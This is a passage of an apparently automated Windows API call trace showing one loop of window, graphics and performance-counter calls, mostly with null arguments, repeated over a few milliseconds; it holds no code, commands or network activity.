[0026.944] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.945] GetLastError () returned 0x715 [0026.945] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.945] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.945] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.945] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.945] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.945] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.945] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189767958, cy=27, fuLoad=0x0) returned 0x0 [0026.945] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.945] GetLastError () returned 0x715 [0026.945] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.945] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.945] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.945] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.945] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.945] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.945] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189749013, cy=27, fuLoad=0x0) returned 0x0 [0026.946] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.946] GetLastError () returned 0x715 [0026.946] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.946] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.946] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.946] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.946] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.946] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.946] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189730068, cy=27, fuLoad=0x0) returned 0x0 [0026.946] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.946] GetLastError () returned 0x715 [0026.946] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.946] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.946] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.946] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.946] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.946] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.946] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189711123, cy=27, fuLoad=0x0) returned 0x0 [0026.946] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.947] GetLastError () returned 0x715 [0026.947] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.947] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.947] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.947] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.947] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.947] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.947] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189692178, cy=27, fuLoad=0x0) returned 0x0 [0026.947] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.947] GetLastError () returned 0x715 [0026.947] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.947] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.947] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.947] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.947] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.947] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.947] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189673233, cy=27, fuLoad=0x0) returned 0x0 [0026.947] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.948] GetLastError () returned 0x715 [0026.948] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.948] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.948] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.948] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.948] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.948] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.948] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189654288, cy=27, fuLoad=0x0) returned 0x0 [0026.948] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.948] GetLastError () returned 0x715 [0026.948] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.948] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.948] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.948] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.948] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.948] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.948] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189635343, cy=27, fuLoad=0x0) returned 0x0 [0026.948] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.949] GetLastError () returned 0x715 [0026.949] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.949] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.949] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.949] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.949] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.949] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.949] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189616398, cy=27, fuLoad=0x0) returned 0x0 [0026.949] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.949] GetLastError () returned 0x715 [0026.949] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.949] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.949] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.949] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.949] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.949] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.949] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189597453, cy=27, fuLoad=0x0) returned 0x0 [0026.949] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.950] GetLastError () returned 0x715 [0026.950] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.950] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.950] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.950] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.950] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.950] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.950] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189578508, cy=27, fuLoad=0x0) returned 0x0 [0026.950] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.950] GetLastError () returned 0x715 [0026.950] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.950] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.950] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.950] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.950] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.950] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.950] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189559563, cy=27, fuLoad=0x0) returned 0x0 [0026.950] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.950] GetLastError () returned 0x715 [0026.951] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.951] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.951] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.951] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.951] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.951] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.951] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189540618, cy=27, fuLoad=0x0) returned 0x0 [0026.951] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.951] GetLastError () returned 0x715 [0026.951] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.951] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.951] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.951] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.951] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.951] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.951] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189521673, cy=27, fuLoad=0x0) returned 0x0 [0026.951] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.951] GetLastError () returned 0x715 [0026.951] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.951] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.952] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.952] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.952] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.952] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.952] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189502728, cy=27, fuLoad=0x0) returned 0x0 [0026.952] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.952] GetLastError () returned 0x715 [0026.952] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.952] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.952] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.952] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.952] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.952] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.952] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189483783, cy=27, fuLoad=0x0) returned 0x0 [0026.952] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.952] GetLastError () returned 0x715 [0026.952] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.952] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.952] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.952] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.953] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.953] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.953] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189464838, cy=27, fuLoad=0x0) returned 0x0 [0026.953] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.953] GetLastError () returned 0x715 [0026.953] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.953] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.953] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.953] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.953] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.953] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.953] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189445893, cy=27, fuLoad=0x0) returned 0x0 [0026.953] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.953] GetLastError () returned 0x715 [0026.953] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.953] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.953] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.953] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.954] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.954] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.954] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189426948, cy=27, fuLoad=0x0) returned 0x0 [0026.954] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.954] GetLastError () returned 0x715 [0026.954] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.954] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.954] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.954] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.954] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.954] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.954] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189408003, cy=27, fuLoad=0x0) returned 0x0 [0026.954] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.954] GetLastError () returned 0x715 [0026.954] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.954] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.954] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.954] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.955] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.955] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.955] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189389058, cy=27, fuLoad=0x0) returned 0x0 [0026.955] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.955] GetLastError () returned 0x715 [0026.955] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.955] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.955] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.955] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.955] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.955] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.955] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189370113, cy=27, fuLoad=0x0) returned 0x0 [0026.955] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.955] GetLastError () returned 0x715 [0026.955] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.955] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.955] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.955] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.955] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.955] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.956] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189351168, cy=27, fuLoad=0x0) returned 0x0 [0026.956] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.956] GetLastError () returned 0x715 [0026.956] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.956] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.956] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.956] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.956] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.956] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.956] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189332223, cy=27, fuLoad=0x0) returned 0x0 [0026.956] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.957] GetLastError () returned 0x715 [0026.957] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.957] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.957] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.957] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.957] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.957] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.957] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189313278, cy=27, fuLoad=0x0) returned 0x0 [0026.957] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.957] GetLastError () returned 0x715 [0026.957] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.957] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.957] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.957] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.957] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.957] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.957] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189294333, cy=27, fuLoad=0x0) returned 0x0 [0026.957] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.958] GetLastError () returned 0x715 [0026.958] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.958] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.958] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.958] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.958] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.958] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.958] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189275388, cy=27, fuLoad=0x0) returned 0x0 [0026.958] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.958] GetLastError () returned 0x715 [0026.958] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.958] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.958] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.958] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.958] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.958] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.958] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189256443, cy=27, fuLoad=0x0) returned 0x0 [0026.958] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.959] GetLastError () returned 0x715 [0026.959] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.959] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.959] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.959] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.959] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.959] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.959] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189237498, cy=27, fuLoad=0x0) returned 0x0 [0026.959] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.959] GetLastError () returned 0x715 [0026.959] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.959] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.959] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.959] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.959] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.959] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.959] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189218553, cy=27, fuLoad=0x0) returned 0x0 [0026.959] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.960] GetLastError () returned 0x715 [0026.960] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.960] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.960] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.960] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.960] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.960] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.960] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189199608, cy=27, fuLoad=0x0) returned 0x0 [0026.960] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.960] GetLastError () returned 0x715 [0026.960] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.960] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.960] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.960] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.960] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.960] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.960] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189180663, cy=27, fuLoad=0x0) returned 0x0 [0026.960] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.960] GetLastError () returned 0x715 [0026.961] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.961] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.961] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.961] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.961] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.961] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.961] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1189161718, cy=27, fuLoad=0x0) returned 0x0 [0026.961] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.961] GetLastError () returned 0x715 [0026.961] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.961] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.961] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.961] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) 